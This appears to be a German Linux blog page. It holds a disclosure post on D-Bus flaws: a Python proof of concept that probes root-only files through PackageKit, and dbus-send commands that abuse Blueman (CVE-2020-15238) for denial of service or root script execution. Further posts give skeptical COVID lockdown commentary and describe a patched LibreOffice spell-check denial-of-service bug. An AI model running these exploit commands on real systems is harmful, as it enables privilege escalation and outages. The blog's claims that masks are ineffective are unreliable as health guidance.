D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

CoronaChroniken: LOCKDOWN AB MONTAG!

BRANDAKTUELLE MELDUNG: LOCKDOWN AB MONTAG!

Wie Bild aus der Telefonkonferenz der Regierung erfahren haben will, soll ab Montag 2.11. der Lockdown kommen.

Wenn Betriebe geschlossen werden, sollen diese bis zu 75% Ihres Umsatzes aus dem Vorjahresmonat aus dem Staatssäckel bekommen, OHNE PRÜFUNG! Herr Scholz rechnet mit 7-10 Milliarden Euro pro Monat Lockdown!

Und das Angesichts dieser eigentlich Meldung heute:

Liebe Maskierte,

die Stadt Braunschweig war mal so frei ein Gebiet zu definieren, in dessen Grenzen man eine MNB tragen muß, da sonst eine Ordnungsstrafe von 25.000 € droht, auch wenn man nicht krank ist, oder nicht mehr krank werden kann. Wer sich da tagesaktuell informieren will, findet das PDF hier: braunschweig.de / 2020-10-28_allgemeinverfuegung_mund-nasen-bedeckung_innenstadt

CoronaChroniken: ups, Neuinfektionen rückläufig?

Aus Sicht der reinen Zahlen kann Anfang der Woche ein erfreulicher Abwärtstrend erkannt werden. Da wir wegen des Meldeverzugs erst grobe Zahlen haben, kann sich dies natürlich jederzeit ändern:

Die Sterbefälle werden dann die Tage nachgereicht, wenn Sie verfügbar sind. Einen Wert konnte ich schon aufschnappen, daher der rote Sprung auf 25.

In deren Nachrichten

Die Polizei Braunschweig zeigt sich mit den Corona-Sperrstundenkontrollen sehr zufrieden, wird aber daran keine Freude finden, wenn das Beispiel als Osnabrück Schule macht:

26.10.2020 – Gericht kippt Sperrstunde Osnabruecker – Gastronom darf oeffnen

Per se ist halt nichts ein (neudeutsch) Corona-Spreading-Event, dies hält allerdings keinen auf. Im Landkreis Peine ist es schon soweit, daß die Mitarbeiter von kleinen Firmen auf dem Dorfe, bei der Arbeit eine Maske tragen sollen, wenn mehr als eine Person im Zimmer ist.

Erneuter Lockdown ab Montag

Mir ist jetzt schon klar, was in den nächsten Tagen so alles ablaufen wird. Im Spiel „Wer fordert die nächst schärfere Maßnahme“ liegt die Bundesregierung jetzt einen Punkt vorn, das kann Herr Söder natürlich nicht auf sich sitzen lassen und wird knallhart nachziehen. Das der Beschluss kommt, wo gerade ein Abwärtstrend begonnen hat, paßt irgendwie ins Bild. Die wirkungslose Maskenpflicht kam ja auch erst, als der Abwärtstrend im April schon eingesetzt hatte! Töööörö!

Das RKI betont ja immer, daß diese Graphen das Geschehen 1-2 Wochen vorher wiederspiegeln, wenn dem so ist, dann kommt dieser Lockdown 2 Wochen zu spät. Dies wird natürlich niemanden davon abhalten später laut zu brüllen, daß es ja nur diesem knallharten Event zu verdanken war, daß die Zahlen dann zurück gingen. Noch habt Ihr ja die Freiheit, das zu glauben, oder es sein zu lassen.

Aus Israel kam neulich von einem Philosophen der Gedanke, daß man ja später den Leuten das Messer auf die Brust setzen kann: „Endweder Ihr seid für einen Überwachungsstaat, der all Eure Kontakte im Namen der Infektionsbekämpfung verfolgt und übermittelt, oder Ihr werden im Lockdown halt arbeitslos.“  Wie würdet Ihr Euch da entscheiden?

Das es da mehr als die zwei Optionen gibt, steht natürlich nicht in dem Planspiel. Die naheliegenste Option kann man gerade in Italien erleben, da gibt es derzeit Straßenschlachten mit der Polizei gegen die Corona-Maßnahmen der Regierung. Aus so einer flächendeckenden Straßenschlacht wird dann schnell mal eine Revolution, welche im Übrigen jetzt bereits von der Aluhutfraktion gefordert wird. Da sollte man als Regierung jetzt deutlich mehr Hirn in seine Entscheidungen investieren, finde ich.

Libreoffice: Das Spreadsheet of Death

Vor einigen Wochen fiel jemandem auf, daß sein PC jedes mal lahmte, wenn er im LibreOffice eine bestimmte Tabelle ansah und editieren wollte. Das Tabellenblatt war aber gar nicht so groß, wie man glauben könnte, aber es war …

Das Spreadsheet of Death

Was passiert mit einem Linuxsystem, wenn der Xorg-Serverprozess bei 100% ankommt? Es bleibt faktisch stehen. Wer das mal live mit Libreoffice auf einem Ryzen 1500X erleben will, der kann sich noch dies Dokument ziehen: Das Spreadsheet of Death Beispiel. Das richtige ist leider wegen Datenschutz nicht öffentlich verfügbar und war ein bisschen länger.

Die Ursache ist, daß der Spellchecker, also die Rechtschreibkorrektur, alle Feldinhalte immer und immer wieder prüft, für falsch betrachtet und dann mit einem neuen Antialising-Malframework einen blauen oder roten Krikkel unter den Feldeintrag zeichnet.  Das neue Framework ist aber so inperformant, daß der Xorg Prozess auf einem CPU Kern bei 100% Last arbeitet.

Bei jedem Scrollen geht die Rechtschreibkorrektur wieder von vorn los, was direkt zum zähesten PC Erlebnis ever führt.  In TOP sah das dann so aus:

[~]$ top -c -b -n 1 | head -n 20
top - 11:54:26 up  2:01,  1 user,  load average: 0,51, 0,28, 0,20
Tasks: 409 total,   2 running, 407 sleeping,   0 stopped,   0 zombie
%Cpu(s): 14,2 us,  2,1 sy,  0,0 ni, 83,0 id,  0,0 wa,  0,0 hi,  0,7 si,  0,0 st
MiB Mem :  15967,5 total,   5456,9 free,   5122,1 used,   5388,4 buff/cache
MiB Swap:   7810,9 total,   7810,9 free,      0,0 used.  10141,6 avail Mem 

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
   1957 root      20   0  857132 191608 150596 R 100,0   1,2   6:16.45 /usr/libexec/Xorg vt2 -displayfd 3 -auth /run/u+
   2452 marius    20   0 3841504 252908 104348 S   6,2   1,5   4:15.81 cinnamon --replace
  13809 marius    20   0  126080  10728   8724 S   6,2   0,1   0:01.11 ssh -C -Y xxx@yy.yy.yy.yy
  14410 marius    20   0  116004   4228   3412 R   6,2   0,0   0:00.02 top -c -b -n 1
      1 root      20   0  171508  15268   9792 S   0,0   0,1   0:04.67 /usr/lib/systemd/systemd --switched-root --syst+
      2 root      20   0       0      0      0 S   0,0   0,0   0:00.01 [kthreadd]
      3 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [rcu_gp]
      4 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [rcu_par_gp]
      6 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [kworker/0:0H-kblockd]
      7 root      20   0       0      0      0 I   0,0   0,0   0:03.58 [kworker/u16:0-kcryptd/253:0]
      8 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [mm_percpu_wq]
      9 root      20   0       0      0      0 S   0,0   0,0   0:00.08 [ksoftirqd/0]
     10 root      20   0       0      0      0 I   0,0   0,0   0:02.65 [rcu_sched]

Das wurde nicht nur über den Bugzilla von RedHat berichtet, sondern auch von anderer Seite an die Entwickler bei LibreOffice gemeldet. Daher gibt es jetzt, so gefühlt 4 Monate später, einen Bugfix:

https://cgit.freedesktop.org/libreoffice/core/commit/?id=bdd149b1ff3d43b94cadc0d43365100c287c7639

Improve spell checking performance and impl. in several ways:
* do synchronous spell checking, avoiding an idle handler
* avoid continuous invalidations caused per-cell by spell-checking
* cache spell-checking information for a given SharedString to avoid repeated checking of frequently recurring strings.

 

Das mit dem Cache für gleiche Inhalte hätte man glaube ich bei Version 0.1 einbauen sollen, das ist nämlich naheliegend 😉

Jetzt fragt Ihr Euch, wieso berichte ich erst jetzt davon… Tja, „a maliciously crafted document can lead to a DOS like attack on linux“. Das wollten wir natürlich nicht noch fördern 😉  Es werden zwar nur die sichtbaren Zeilen geprüft, aber alle Spalten. Da jetzt der Patch vorliegt und verteilt wird, kann man es ruhig erzählen 🙂